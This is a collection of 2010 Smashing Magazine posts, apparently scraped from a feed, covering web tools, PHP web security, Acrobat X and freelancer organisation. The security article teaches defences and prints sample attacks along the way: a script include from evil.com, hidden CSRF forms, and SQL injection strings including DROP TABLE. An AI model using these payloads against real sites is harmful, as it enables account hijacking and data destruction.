What terrible business jargon do you need unsucked? Unsuck It translates management speak to normal language, making your day to day on- and offline slogs through corporate jargon a little easier to bear. You can even tweet your results as they often turn out to be quite funny.

Temperature Conversion, Weight Conversion and Length Conversion
This simple online tool doesn’t do much, but it’s truly beautiful and it’s a pleasure to use. The tools lets you convert length values, temperature values and weight values.

Coffee Drinks Illustrated
With the vast number of ordering options and new words with accented characters to pronounce the coffee shop ordering experience can be intimidating. Lokesh Dhakar created a few small illustrations to help himself and others wrap their head around some of the small differences.

© Smashing Editorial for Smashing Magazine, 2010. | Permalink | Post a comment | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine
Post tags: PDF, time-savers, tools, useful

  

Web application developers today need to be skilled in a multitude of disciplines. It’s necessary to build an application that is user friendly, highly performant, accessible and secure, all while executing partially in an untrusted environment that you, the developer, have no control over. I speak, of course, about the User Agent. Most commonly seen in the form of a web browser, but in reality, one never really knows what’s on the other end of the HTTP connection.

There are many things to worry about when it comes to security on the Web. Is your site protected against denial of service attacks? Is your user data safe? Can your users be tricked into doing things they would not normally do? Is it possible for an attacker to pollute your database with fake data? Is it possible for an attacker to gain unauthorized access to restricted parts of your site? Unfortunately, unless we’re careful with the code we write, the answer to these questions can often be one we’d rather not hear.

We’ll skip over denial of service attacks in this article, but take a close look at the other issues. To be more conformant with standard terminology, we’ll talk about Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Phishing, Shell injection and SQL injection. We’ll also assume PHP as the language of development, but the problems apply regardless of language, and solutions will be similar in other languages.

[Offtopic: by the way, did you already get your copy of the Smashing Book?]

1. Cross-site scripting (XSS)

Cross-site scripting is an attack in which a user is tricked into executing code from an attacker’s site (say evil.com) in the context of our website (let’s call it www.mybiz.com). This is a problem regardless of what our website does, but the severity of the problem changes depending on what our users can do on the site. Let’s look at an example.

Let’s say that our site allows the user to post cute little messages for the world (or maybe only their friends) to see. We’d have code that looks something like this:

<?php
  echo "$user said $message";
?>

To read the message in from the user, we’d have code like this:

<?php
  $user = $_COOKIE['user'];
  $message = $_REQUEST['message'];
  if($message) {
     save_message($user, $message);
  }
?>
<input type="text" name="message" value="<?php echo $message ?>">

This works only as long as the user sticks to messages in plain text, or perhaps a few safe HTML tags like <strong> or <em>. We’re essentially trusting the user to only enter safe text. An attacker, though, may enter something like this:

Hi there...<script src="h++p://evil.com/bad-script.js"></script>

(Note that I’ve changed http to h++p to prevent auto-linking of the URL).

When a user views this message on their own page, they load bad-script.js into their page, and that script could do anything it wanted, for example, it could steal the contents of document.cookie, and then use that to impersonate the user and possibly send spam from their account, or more subtly, change the contents of the HTML page to do nasty things, possibly installing malware onto the reader’s computer. Remember that bad-script.js now executes in the context of www.mybiz.com.

This happens because we’ve trusted the user more than we should. If, instead, we only allow the user to enter contents that are safe to display on the page, we prevent this form of attack. We accomplish this using PHP’s input_filter extension.

We can change our PHP code to the following:

<?php
  $user = filter_input(INPUT_COOKIE, 'user',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  $message = filter_input(INPUT_POST | INPUT_GET, 'message',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  if($message) {
     save_message($user, $message);
  }
?>
<input type="text" name="message" value="<?php echo $message ?>">

Notice that we run the filter on the input and not just before output. We do this to protect against the situation where a new use case may arise in the future, or a new programmer comes in to the project, and forgets to sanitize data before printing it out. By filtering at the input layer, we ensure that we never store unsafe data. The side-effect of this is that if you have data that needs to be displayed in a non-web context (e.g. a mobile text message/pager message), then it may be unsuitably encoded. You may need further processing of the data before sending it to that context.

Now chances are that almost everything you get from the user is going to be written back to the browser at some point, so it may be best to just set the default filter to FILTER_SANITIZE_SPECIAL_CHARS by changing filter.default in your php.ini file.

PHP has many different input filters, and it’s important to use the one most relevant to your data. Very often an XSS creeps in because we use FILTER_SANITIZE_SPECIAL_CHARS when we should have used FILTER_SANITIZE_ENCODED or FILTER_SANITIZE_URL or vice-versa. You should also carefully review any code that uses something like html_entity_decode, because this could potentially open your code up for attack by undoing the encoding added by the input filter.

If a site is open to XSS attacks, then its users’ data is not safe.

2. Cross-site request forgery (CSRF)

A CSRF (sometimes abbreviated as XSRF) is an attack where a malicious site tricks our visitors into carrying out an action on our site. This can happen if a user logs in to a site that they use a lot (e.g. e-mail, Facebook, etc.), and then visits a malicious site without first logging out. If the original site is susceptible to a CSRF attack, then the malicious site can do evil things on the user’s behalf. Let’s take the same example as above.

Since our application reads in input either from POST data or from the query string, an attacker could trick our user into posting a message by including code like this on their website:

<img src="h++p://www.mybiz.com/post_message?message=Cheap+medicine+at+h++p://evil.com/"
     style="position:absolute;left:-999em;">

Now all the attacker needs to do, is get users of mybiz.com to visit their site. This is fairly easily accomplished by, for example, hosting a game, or pictures of cute baby animals. When the user visits the attacker’s site, their browser sends a GET request to www.mybiz.com/post_message. Since the user is still logged in to www.mybiz.com, the browser sends along the user’s cookies, thereby posting an advertisement for cheap medicine to all the user’s friends.

Simply changing our code to only accept submissions via POST doesn’t fix the problem. The attacker can change the code to something like this:

<iframe name="pharma" style="display:none;"></iframe>
<form id="pform"
      action="h++p://www.mybiz.com/post_message"
      method="POST"
      target="pharma">
<input type="hidden" name="message" value="Cheap medicine at ...">
</form>
<script>document.getElementById('pform').submit();</script>

Which will POST the form back to www.mybiz.com.

The correct way to to protect against a CSRF is to use a single use token tied to the user. This token can only be issued to a signed in user, and is based on the user’s account, a secret salt and possibly a timestamp. When the user submits the form, this token needs to be validated. This ensures that the request originated from a page that we control. This token only needs to be issued when a form submission can do something on behalf of the user, so there’s no need to use it for publicly accessible read-only data. The token is sometimes referred to as a nonce.

There are several different ways to generate a nonce. For example, have a look at the wp_create_nonce, wp_verify_nonce and wp_salt functions in the WordPress source code. A simple nonce may be generated like this:

<?php
function get_nonce() {
  return md5($salt . ":"  . $user . ":"  . ceil(time()/86400));
}
?>

The timestamp we use is the current time to an accuracy of 1 day (86400 seconds), so it’s valid as long as the action is executed within a day of requesting the page. We could reduce that value for more sensitive actions (like password changes or account deletion). It doesn’t make sense to have this value larger than the session timeout time.

An alternate method might be to generate the nonce without the timestamp, but store it as a session variable or in a server side database along with the time when the nonce was generated. That makes it harder for an attacker to generate the nonce by guessing the time when it was generated.

<?php
function get_nonce() {
  $nonce = md5($salt . ":"  . $user);
  $_SESSION['nonce'] = $nonce;
  $_SESSION['nonce_time'] = time();
  return $nonce;
}
?>

We use this nonce in the input form, and when the form is submitted, we regenerate the nonce or read it out of the session variable and compare it with the submitted value. If the two match, then we allow the action to go through. If the nonce has timed out since it was generated, then we reject the request.

<?php
  if(!verify_nonce($_POST['nonce'])) {
     header("HTTP/1.1 403 Forbidden", true, 403);
     exit();
  }
  // proceed normally
?>

This protects us from the CSRF attack since the attacker’s website cannot generate our nonce.

If you don’t use a nonce, your user can be tricked into doing things they would not normally do. Note that even if you do use a nonce, you may still be susceptible to a click-jacking attack.

3. Click-jacking

While not on the OWASP top ten list for 2010, click-jacking has gained recent fame due to attacks against Twitter and Facebook, both of which spread very quickly due to the social nature of these platforms.

Now since we use a nonce, we’re protected against CSRF attacks, however, if the user is tricked into clicking the submit link themselves, then the nonce won’t protect us. In this kind of attack, the attacker includes our website in an iframe on their own website. The attacker doesn’t have control over our page, but they do control the iframe element. They use CSS to set the iframe’s opacity to 0, and then use JavaScript to move it around such that the submit button is always under the user’s mouse. This was the technique used on the Facebook Like button click-jack attack.

Frame busting appears to be the most obvious way to protect against this, however it isn’t fool proof. For example, adding the security="restricted" attribute to an iframe will stop any frame busting code from working in Internet Explorer, and there are ways to prevent frame busting in Firefox as well.

A better way might be to make your submit button disabled by default and then use JavaScript to enable it once you’ve determined that it’s safe to do so. In our example above, we’d have code like this:

<input type="text" name="message" value="<?php echo $message ?>">
<input id="msg_btn" type="submit" disabled="true">
<script type="text/javascript">
if(top == self) {
   document.getElementById("msg_btn").disabled=false;
}
</script>

This way we ensure that the submit button cannot be clicked on unless our page runs in a top level window. Unfortunately, this also means that users with JavaScript disabled will also be unable to click the submit button.

4. SQL injection

In this kind of an attack, the attacker exploits insufficient input validation to gain shell access on your database server. XKCD has a humorous take on SQL injection:

Full image (from xkcd)

Let’s go back to the example we have above. In particular, let’s look at the save_message() function.

<?php
function save_message($user, $message)
{
  $sql = "INSERT INTO Messages (
            user, message
          ) VALUES (
            '$user', '$message'
          )";

  return mysql_query($sql);
}
?>

The function is oversimplified here, but it exemplifies the problem. The attacker could enter something like

test');DROP TABLE Messages;--

When this gets passed to the database, it could end up dropping the Messages table, causing you and your users a lot of grief. This kind of an attack calls attention to the attacker, but little else. It’s far more likely for an attacker to use this kind of attack to insert spammy data on behalf of other users. Consider this message instead:

test'), ('user2', 'Cheap medicine at ...'), ('user3', 'Cheap medicine at ...

Here the attacker has successfully managed to insert spammy messages into the comment streams from user2 and user3 without needing access to their accounts. The attacker could also use this to download your entire user table that possibly includes usernames, passwords and email addresses.

Fortunately, we can use prepared statements to get around this problem. In PHP, the PDO abstraction layer makes it easy to use prepared statements even if your database itself doesn’t support them. We could change our code to use PDO.

<?php
function save_message($user, $message)
{
  // $dbh is a global database handle
  global $dbh;

  $stmt = $dbh->prepare('
                     INSERT INTO Messages (
                          user, message
                     ) VALUES (
                          ?, ?
                     )');
  return $stmt->execute(array($user, $message));
}
?>

This protects us from SQL injection by correctly making sure that everything in $user goes into the user field and everything in $message goes into the message field even if it contains database meta characters.

There are cases where it’s hard to use prepared statements. For example, if you have a list of values in an IN clause. However, since our SQL statements are always generated by code, it is possible to first determine how many items need to go into the IN clause, and add as many ? placeholders instead.

5. Shell injection

Similar to SQL injection, the attacker tries to craft an input string to gain shell access to your web server. Once they have shell access, they could potentially do a lot more. Depending on access privileges, they could add JavaScript to your HTML pages, or gain access to other internal systems on your network.

Shell injection can take place whenever you pass untreated user input to the shell, for example by using the system(), exec() or `` commands. There may be more functions depending on the language you use when building your web app.

The solution is the same for XSS attacks. You need to validate and sanitize all user inputs appropriately for where it will be used. For data that gets written back into an HTML page, we use PHP’s input_filter() function with the FILTER_SANITIZE_SPECIAL_CHARS flag. For data that gets passed to the shell, we use the escapeshellcmd() and escapeshellarg() functions. It’s also a good idea to validate the input to make sure it only contains a whitelist of characters. Always use a whitelist instead of a blacklist. Attackers find inventive ways of getting around a blacklist.

If an attacker can gain shell access to your box, all bets are off. You may need to wipe everything off that box and reimage it. If any passwords or secret keys were stored on that box (in configuration files or source code), they will need to be changed at all locations where they are used. This could prove quite costly for your organization.

6. Phishing

Phishing is the process where an attacker tricks your users into handing over their login credentials. The attacker may create a page that looks exactly like your login page, and ask the user to log in there by sending them a link via e-mail, IM, Facebook, or something similar. Since the attacker’s page looks identical to yours, the user may enter their login credentials without realizing that they’re on a malicious site. The primary method to protect your users from phishing is user training, and there are a few things that you could do for this to be effective.

1. Always serve your login page over SSL. This requires more server resources, but it ensures that the user’s browser verifies that the page isn’t being redirected to a malicious site.
2. Use one and only one URL for user log in, and make it short and easy to recognize. For our example website, we could use https://login.mybiz.com as our login URL. It’s important that when the user sees a login form for our website, they also see this URL in the URL bar. That trains users to be suspicious of login forms on other URLs
3. Do not allow partners to ask your users for their credentials on your site. Instead, if partners need to pull user data from your site, provide them with an OAuth based API. This is also known as the Password Anti-Pattern.
4. Alternatively, you could use something like a sign-in image that some websites are starting to use (e.g. Bank of America, Yahoo!). This is an image that the user selects on your website, that only the user and your website know about. When the user sees this image on the login page, they know that this is the right page. Note that if you use a sign-in seal, you should also use frame busting to make sure an attacker cannot embed your sign-in image page in their phishing page using an iframe.

If a user is trained to hand over their password to anyone who asks for it, then their data isn’t safe.

Summary

While we’ve covered a lot in this article, it still only skims the surface of web application security. Any developer interested in building truly secure applications has to be on top of their game at all times. Stay up to date with various security related mailing lists, and make sure all developers on your team are clued in. Sometimes it may be necessary to sacrifice features for security, but the alternative is far scarier.

Finally, I’d like to thank the Yahoo! Paranoids for all their help in writing this article.

Further reading

1. OWASP Top 10 security risks
2. XSS
3. CSRF
4. Phishing
5. Code injection
6. PHP’s input filters
7. Password anti-pattern
8. OAuth
9. Facebook Like button click-jacking
10. Anti-anti frame-busting
11. The Yahoo! Security Center also has articles on how users can protect themselves online.

© Philip Tellis for Smashing Magazine, 2010. | Permalink | Post a comment | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine
Post tags: click-jacking, csrf, PHP, security, SQL, xss

Adobe has announced upcoming release of new version of Acrobat products – Acrobat X. New features in Acrobat X allow you to combine various file types into PDF Portfolios more easily; integrate audio, video, and interactive media into rich PDF documents; automate routine, multistep tasks into a guided Action; convert Word, Excel, PowerPoint and other files to PDF with a single click; achieve better scanning results; share files online from within your Acrobat, and much more. The English version of Acrobat X is going to be released in the end of November.

If you preorder Adobe Acrobat X Standard, Adobe Acrobat X Pro, or Adobe Acrobat X Suite

before November 30 you will get free shipping of the product.

If you are using Windows OS, Adobe offers the following products of Acrobat family:

• Adobe Acrobat X Standard
• Adobe Acrobat X Pro, which includes Adobe LiveCycle Designer ES2
• Adobe Acrobat X Suite (Includes Adobe Acrobat X Pro, Designer ES2, Adobe Photoshop® CS5, Adobe Captivate® 5, Adobe Presenter 7, Adobe Media Encoder CS5)
• Adobe Reader X.

For Mac OS users the following products will be available after the launch of Adobe Acrobat X:

• Adobe Acrobat X Pro
• Adobe Reader X.

If you need to decide whether you should upgrade to the latest version of this software you can compare functionalities of Acrobat X Pro and previous versions of the product. Comparison of Adobe Acrobat X Standard, Adobe Acrobat X Pro, Adobe Acrobat X Suite and Adobe Reader X functionalities is available here.

These days almost everybody has Acrobat Reader installed on their computers, because PDF files are virtually everywhere. But for a great part of professionals ability to edit PDF files is not less important than ability to open and read them. If you have never used Acrobat to create or edit PDF files the following video will be useful for you.

(If the video is played back incorrectly, you can watch it on Adobe.TV)

Very often working in the office people encounter a requirement to edit contents of a PDF document in other applications such as Word or Excell. In earlier days it was not easy to export PDF files to Office applications, but Adobe Acrobat X makes this task very simple.

(If the video is played back incorrectly, you can watch it on Adobe.TV)

Creation of PDF portfolios is one of the most praised Acrobat Pro capabilities. This function was available in Acrobat 9 Pro, but in Acrobat X pro it is considerably extended and refined. Now users can leverage PDF Portfolio Wizard, ability to customize PDF Portfolios with layouts, visual themes, and color palettes and also Import custom PDF Portfolio layouts developed by third-party developers and designers. In this video you will see how to create a PDF portfolio in Acrobat X.

(If the video is played back incorrectly, you can watch it on Adobe.TV)

Together with Acrobat X Adobe launches new services at Acrobat.com. This is an online service intended to help creative teams cooperate more efficiently and achieve better results with less effort. Acrobat.com includes online Workspaces, document sharing and storage, PDF file conversion, web conferencing, and online office applications. You do not need to download and install any software to start using Acrobat.com, and also it is free. In this video Rick Treitman, Director of Product Management, tells what new services are coming to Acrobat.com and why they are so important.

(If the video is played back incorrectly, you can watch it on Adobe.TV)

One of the features of Acrobat X is the ability to share files using SendNow Online tool. There is no need to open a browser to send files, you can just send them from within Acrobat. These can be not only PDF files, but also video files, or office files. In the video below Lori DeFurio, Group Product Marketing Manager at Adobe, presents this new convenient feature of Acrobat X.

(If the video is played back incorrectly, you can watch it on Adobe.TV)

Upcoming products launch also upgrades Adobe Acrobat Reader. Acrobat X Reader will include the following innovations:

• Commenting becomes available, with Sticky Notes and Highlighter tools available to all users.
• PDF access to mobile devices is expanded with free Adobe Reader X for Android, Windows Phone 7 and Blackberry Tablet OS.
• Viewing of PDF files with new Protected Mode security capabilities becomes safer.

If you wish to be notified when Adobe Acrobat X products are shipped you can sign up here.

  

As a web designer, you’re often forced to wear many different hats every day. You’re the CEO, creative director, office manager, coffee fetcher and sometimes even janitor. That’s a lot for anyone, and it certainly makes it difficult to find any time for quality creative thinking. Organization in any operation is important, and for our work as web designers it is important, too. The good news? You don’t have to have been born an organizational machine. Let’s look at what being organized means and a few strategies and tips to help you clean up that messy desk and get your work ducks in a nice neat row.

[Offtopic: by the way, did you know that there is a Smashing eBook Series? Book #2 is Successful Freelancing for Web Designers, 260 pages for just $9,90.]

1. Organization 101

What it means to be an organized person or run an organized business is commonly misunderstood. Many people equate being organized with being fussy, which is not the case. Little labeled folders and neatly itemized lists are one way to stay organized, but they are merely tactics. The heart of organization is having a strategy. Being organized is simply a matter of using clearly defined and consistently implemented systems to get things done.

But how do you go about finding and implementing a strategy if you’re starting from square one? It begins with where you want to end up. Think about where you waste the most time or what frustrates you the most on a daily or weekly basis, and start there. Formulate simple clear goals and treat these overarching goals as the finish line in your strategy.

For example, if you have trouble paying all (and I mean every single one) of your bills on time because they are perpetually lost in the mess on your desk, make it a goal to pay every bill before it is due for the entire year. With this broad goal in mind, you can work on cleaning your desk and setting up a routine for paying each of your bills.

2. Building Routines

Very disorganized people tend to do things in a scattershot way, jumping frequently between unrelated activities, wasting time and energy with each switch. So, if you are committed to being more organized, the first things you need to analyze are your daily, weekly and monthly routines. What activities do you do every day, week and month? It helps to make a list for each and add to it over the course of the week or even month.

Original image by garyknight.

Once you have this list, you should start to notice patterns. You can use those patterns to help you plan your time more efficiently. Arrange your activities by location, type or client to minimize the time you take to switch gears (both mentally and physically) between each activity.

Tips for Building Effective Routines

1. Group like tasks
   Don’t stop working to answer each email as it arrives. Instead pick two — and only two — times a day to deal with emails. Schedule all of your meetings together during one part of the day, and don’t stray from this time block. If the block is full on any given day, then schedule the meeting for the following day.
2. Keep the e-mail inbox clean.
   When a bunch of new e-mails arrives, sort and prioritize them right away. You could have three folders — one for important e-mails (“Important”), one that require some work (“Work”) and one for e-mails that aren’t that important and can be replied later on (“Later”). Try hard to keep the first two clean in the end of every day, and set up reminders or to-do-lists for important tasks. If you get way too many e-mails, you could set up a little system that would delete all unreplied e-mails that are older than 10–14 days and send a notification to those who sent these e-mails, so they know that their e-mail wasn’t read. If the e-mail was important, they will follow up eventually.
3. Standardize your working hours
   Freelancing web designers are blessed with abundant freedom in the hours they work. But this can be a blessing and a curse. If you work a few hours here and there during the day, you force your brain to switch on and off multiple times a day. Try to work roughly the same schedule each day and all in one block. This creates a clear divide in your head between work and free time, and the divide will help you stay efficient and organized.
4. Schedule time for administrative tasks
   You’re a designer foremost; but if you’re a freelancer, you are also the office manager. Don’t let those administrative tasks pile up. Schedule time each day or week to take care of bills, filing or cleaning.
5. Time to think
   Similar to the last point, you are also the CEO, and as such you need to think about the overall goals and strategy of your one-person organization. Make sure to leave time (at least some each month) to analyze how business is going and how you are progressing towards your goals.

Important to remember: routines are not (and should not feel) inflexible. You are always free to change the way you do things. Sometimes you may need to put out fires, and sometimes you just need a change. Listen to your instincts.

3. Systems

While being organized is not the same thing as having a mild case of OCD, creating clear and consistent systems that you can use on a daily basis is important. These systems only become more important the busier you get, serving as an anchor to help you remember everyday items and meet critical deadlines.

The Old-Fashioned Way

I’m a big believer in simple solutions, especially for organization. My desk is covered with sticky notes, and I nearly always have a small notebook handy for sudden brainwaves. In addition to creating a written record, the physical act of writing forces you to use another part of your brain, one that ingrains the idea, making you less likely to forget.

Original image by shawncampbell.

Another great thing about using something like a notebook is that it doesn’t need charging (unlike all of those electronic gadgets in your pocket), and it doesn’t rely on a good connection to the Internet (unlike a Web-based to-do list). If you’re accident-prone, you can even get a field notebook (the kind biologists use), which has waterproof pages.

Do you remember life before mobile phones? Do you remember how many phone numbers you had memorized? The human brain is capable of remembering vast quantities of information; but like any muscle, it is only effective when actively used. Give your brain a chance to find the answer before turning to those Web calendars and notifications — it might surprise you!

A note about Web apps: these have become big business. And no wonder; a single-purpose app exists to help you do just about anything. But as with email, people get into the bad habit of being completely unable to move forward without checking, updating and mulling over their app of choice. For teams working together, these apps can be a true life-saver; but often you will also (hopefully) be working with only one or two individuals on each project. Why not simplify and drop the Web app altogether. A well-traveled notebook can do most of what an organizational app can do, without eating a portion of your pay check each month!

If you need a little more structure than just a notebook in your pocket, here are a few “analog” organizational systems to look into:

• Getting Things Done
  Personal organization based on writing down the important stuff.
• The Hipster PDA
  Notecards in your pocket held together with a clip. How much easier does it get?
• The Printable CEO
  Printable sheets to help with task management and goal-tracking.

Digital Control

Analog solutions can work wonders if you’re flying solo, but what if you have to collaborate with others on a product? Sometimes there is just no substitute for a good Web app at your fingertips to help you coordinate a project’s different facets. But be sure that you really need a Web app before wasting two days testing different ones, as I’ve recommended several times already. That said, here are a few stand-out apps to help you navigate your next project:

• Basecamp
  Mentioning Web-based productivity is impossible without a nod in 37signals’ direction. Basecamp is an amazingly mature and powerful app for coordinating teams.
• Campaign Monitor
  To manage email lists and send well-crafted HTML emails, this app is top of class.
• Blinksale
  Invoices, plain and simple. It also integrates with Basecamp.

If you’ve decided that a Web app is required for your project, remember that single-purpose apps are generally the way to go. If the app tries to accomplish too much, it will likely only end up frustrating you with features you don’t understand, much less need.

The One That’s With You

Photographers have an old adage: “The best camera is the one that’s with you.” The point is well made. What item do you carry with you everywhere, without fail? Your mobile phone, of course. And with the likes of the iPhone and Google’s Android platform, your phone is as powerful an organizational tool as your computer.

1. Use the note-taking app.
   If you have a brainwave, write it down. Replace “notebook” with “phone” in the paragraphs above and you’ve got the idea. You can collect and organize your inspirational images, videos and screenshots online with tools such as Zootool.
2. Voice memo yourself.
   Most smartphones record voice memos. Voice memos are a quick way to get information down without having to type everything out on a small keyboard. Just remember that they only work if you listen to and act on them later. No smartphone? Just call yourself and leave a message: you’re sure to pick it up later.
3. Exploit the app eco-system.
   Both the iPhone and Android have healthy eco-systems of app builders who create just about everything, especially productivity tools. Check out what’s available for your phone.

Clearing the Clutter

You have a problem: your desk is completely covered. And I mean every square inch. Pens and pencils scattered about, yesterday’s newspaper lying under there somewhere (the sudoku half-finished, of course) and last week’s lunch rotting away quietly in the back corner. Somewhere in there you have work, too. While this surely doesn’t describe you, it illustrates a few points, so it’s a good starting point.

1. Keep a trash bin next to your desk.
   Having a bin close at hand ensures you will use it. If you can spare the space, add a second one for recycling.
2. Use your desk for work and work only.
   Just as you shouldn’t work in your bedroom, you shouldn’t read the paper, do the crossword puzzle or eat lunch at your desk either. I know: separating life and work can be hard. But the most successful freelancing designers I know clearly delineate the two and wouldn’t mix them up for anything!
3. Sort on arrival.
   One way to clear your desk quickly is to sort information as it arrives. Open and sort mail when it arrives each day. Sort those receipts that pile up in your wallet at least once a week. You don’t have to immediately act on these items, but don’t let them pile up around you.
4. File folders are your friend.
   Yes, they may be a bit dorky and corporate, but file folders are a God-send for staying organized. Give each subject its own folder, and stack the folders neatly in the corner of your desk. You can fill the folders with notes jotted during phone calls, pages from your notebook and designs scrawled on the back on napkins. Just don’t throw them away after using them once. A bit of masking tape allows you to relabel and reuse them until they split apart.
5. Clean your digital desktop.
   If you don’t already have a system for keeping the files on your computer in order, shame on you. Organization on your computer is paramount in importance. A good way to start: match the folder structure on your computer desktop to the one sitting in the corner of your physical desktop. Use it for all of the digital scraps that accumulate over the course of a project. When you’ve finished the project, move both folders — digital and physical — to an archive. After a year or so, you can trash the archive and only hang on to the deliverables (in case the client ever needs them resent).

Original image by The Wu’s Photo Land.

Remember, consistency is the key to organization, so get into the habit of clearing things away before leaving your desk at the end of the day.

Ditch the Paper

There’s no way around it: paper still exists in the day-to-day running of a business, from receipts and bills to invoices, faxes and letters. Here are a few tips to help you organize all that paper lying around.

1. Get a document scanner.
   If you’ve got the money, a document scanner (such as the Fujitsu ScanSnap — see this in-depth review) can nearly rid you of that fire hazard growing in your filing cabinet. These scanners can capture both sides at once, scan odd-sized items (such as receipts) and do it quickly. After your documents have been scanned, shred them for security. But now that you’ve digitized your records, you need a very good back-up plan to make sure they aren’t wiped out by a faulty hard drive.
2. File by month.
   If you don’t have the coin to buy a document scanner, I suggest filing general bills and receipts by month in folders and then archiving them by year once you’ve filed your taxes. Invoices and anything else project-related can go in project folders, again to be archived at the end of the fiscal year.
3. Go paperless.
   If you haven’t gone to the trouble of making all of your bills and statements paperless, shame on you. Stop everything you’re doing and remedy this right now.

Original image by dawnzy58.

The Long and Winding Road

There is no way to soften the truth: people who are well organized are far more likely to succeed in business and life. But now that you know that organization isn’t an innate skill but one that you can learn and improve upon, you have no excuses. Take the time to analyze what you do and how you do it, and then make small deliberate changes. You’ll be amazed at the difference many small changes make!

Further Resources

• Lifehacker
  Perhaps the most famous productivity blog around. Full of good tips.
• Zen Habits
  Another powerhouse blog that specializes in tips and strategies for organizing your life and work.
• 7 Productivity Tips, Plus Tools for Freelancers and Web Workers
  More focused information, tips and tools to help you organize.
• How to Effectively Organize your Freelance Jobs
  Tips to help you digitally organize all of your jobs and keep track of each one separately.
• Using a Whiteboard to Keep Your Home Office Running Smoothly
  Another great analog solution. Let your creativity out.

© Jeff Gardner for Smashing Magazine, 2010. | Permalink | Post a comment | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine
Post tags: organization, Workflow

  

We invest time, money and effort into understanding our audience, and the movement toward a more socially networked Web has made us realize the power that visitors have over how our designs are engineered; and we try to meet their ever-growing needs. Community is integral to the evolution and functioning of a website, and visitors and website owners have become dependent on each other. This reflects a change in the industry: the user has turned into an anonymous designer.

This article will explore the influential figure ‘user’ and uncover the power of your community. Whether you boast social applications, interactivity or a stream of regular visitors, your audience might be a powerful untapped resource at your fingertips. You, the website owner, have the power to make decisions and override them (for better or worse), but the user deserves to be recognized as more than a statistic.

[Offtopic: by the way, did you know that there is a Smashing eBook Series? Book #2 is Successful Freelancing for Web Designers, 260 pages for just $9,90.]

Traditional Roles

Back in the Web’s infancy, the roles of the Web professional and visitor were clearly laid out. Technologies such as email, bulletin boards and Internet Relay Chat (IRC) rooms existed, but most Web users were technologically inclined — cost and complexity of computers and Internet access were the biggest obstacles for many in the early days. Additionally, website were simple and the power of users was restricted; users had little sway with designers and developers.

The Professionals

The role of the Web professional used to be — famously, in the ’90s — to build websites that delivered certain information. Asking the user for feedback was an afterthought; this was evidence of the commonly held belief that we, the experts, knew what was best for users. Usability and accessibility were a luxury, and many website providers ignored them in an attempt to control the way the medium was used.

Historically, the Web professional’s role was to maintain websites.

The following were considered the primary tasks of the Web professional:

• Providing content and services to the client;
• Creating a website to hold the information;
• Dealing with technical requests about the information.

The Audience

Traditionally, the role of the audience was to give feedback, but it had — and still sometimes has — no influence on the website. The romanticized notion that a website owner should do whatever they want is to blame. In the past, a website’s popularity was determined mostly by content; marketing was restricted to directories and search engines; empowering the user and improving the feedback process was far from the designer’s mind.

The following were considered the primary tasks of the user:

• Give the owner financial incentive to continue offering the service.
• Popularize or endorse the website;
• Put the professional’s creation, free or not, to good use.

Those times have (mostly) come and gone. Without visitors, our websites would hardly exist, and when we realize that, we will abandon our old-fashioned ways and quit imposing our assumptions on users. Visitor interaction has become vital to the experience of a website, and the need for positive feedback — now visible everywhere and uncontrollable — has reversed the roles: our audience now has the voice and tools it needs to be satisfied.

Playing The Part

It has become important for us to define what roles the Web professional and user play in the dynamic process of building and improving websites, especially given the new-found focus on user experience and the development of tools that allow visitors to engage with and become attached to our services. Furthermore, ensuring that these roles are, in fact, played is essential to the process.

The Professionals

Professionals hold the keys to the castle. While many designers focus on the result, understanding what audiences need, what problems need swift solutions, which visitors require these solutions and how best to implement them is paramount. You might have some control over your users, but they can still dampen your popularity.

The user experience should actually serve the needs of users.

Here are some skills that professionals bring to the table:

• Knowledge of how to build a website and how it works;
• Experience with anticipating user needs;
• Delivering services and content that users need.

The Audience

Audience members play a different role. Most websites don’t offer a broad spectrum of customizable features (for good reason) or feedback options that give insight into how visitors use the website or what they’d like to see improved — specifically, what they’d like to see improved that would make them return on a regular basis. Word of mouth has become a serious force on the Web with Twitter, Facebook and their kin; and while you control the code, they control users’ wallets, attention and referrals.

Visitors know what they like, and negative feedback can spread quickly.

Here is what visitors contribute:

• Essential feedback on core service failings;
• Word-of-mouth promotion;
• Knowledge of what works, not just what’s pretty.

The roles of professional and user can be reversed on occasions when one expert helps another improve their website, resulting in a mixture of a professional perspective and visitor-oriented goals. Being both visitor and expert gives you empathy for the user and a valuable perspective, especially if you’re lucky enough to be in a position of power.

Nature Versus Nurture

Both sides bring goods to the table. Professionals bring the service and content into existence, thereby providing the “location for the party.” New visitors share vital details about how you can encourage them to be more involved, and they spread your website to the masses. Maintaining equilibrium between the professional and user is required if your Web presence is going to survive.

The Professionals

As it stands, the professional designer still plays the traditional role, but it should be expanded to encompass the evolving needs of our audience. The ability to nurture and cultivate is a skill ignored by many in our industry. In the past, “If you build it, they will come” described the Web fairly accurately, especially given the limited competition, but easy enterprise and designing for yourself have failed by their own merit.

Here are some problems that face a Web professional:

• Subjective opinion;
• Too many tasks to be able to master one;
• Fixated on success and reward (depending on the service being offered).

The Audience

Even if your visitor has no understanding of Web design, they will know what works for them, so you should encourage them to share their ideas. You can do this through code, design, experience and interactivity (or functionality). Playing to your audience’s strengths makes sense (if only to avoid the MySpace effect: going stale).

Some of the problems facing users are:

• Lacking knowledge of the Web’s limitations;
• Their diverse backgrounds and characters lead to quirks;
• Subjective opinions.

Survival of the fittest is the name of the game, and with the increasing pressure to focus on the needs of users and encourage them to connect to your services, it’s important that your designs are user-centric: contextual and interactive. The anonymous designer who knows what they want is well equipped for the Internet’s future. We can’t overlook users as we did in the past.

Elements Of Success

At this point, you’re probably wondering why we should place so much trust in users. That’s a fair question. Distinguishing between constructive advice and useless drivel can be difficult when many users don’t even know what a Web browser is, and determining the relevance of reviews is a challenge when manipulation is commonplace. All interaction with users should be done with respect (and perhaps a grain of salt), but it’s still worth encouraging the crowd to take action.

The trick is to use your knowledge (from statistics to semantics), experience, research and trust (of information sources) to your advantage.

By using a mixture of both quantitative data (numbers, statistics, etc.) and qualitative data (opinions, ideas, etc.), you can make informed decisions about what will work best for your clients. Putting the onus entirely on visitors is unfair, but giving them a channel for input will make a difference. If you don’t please them, they’ll surely take their business elsewhere.

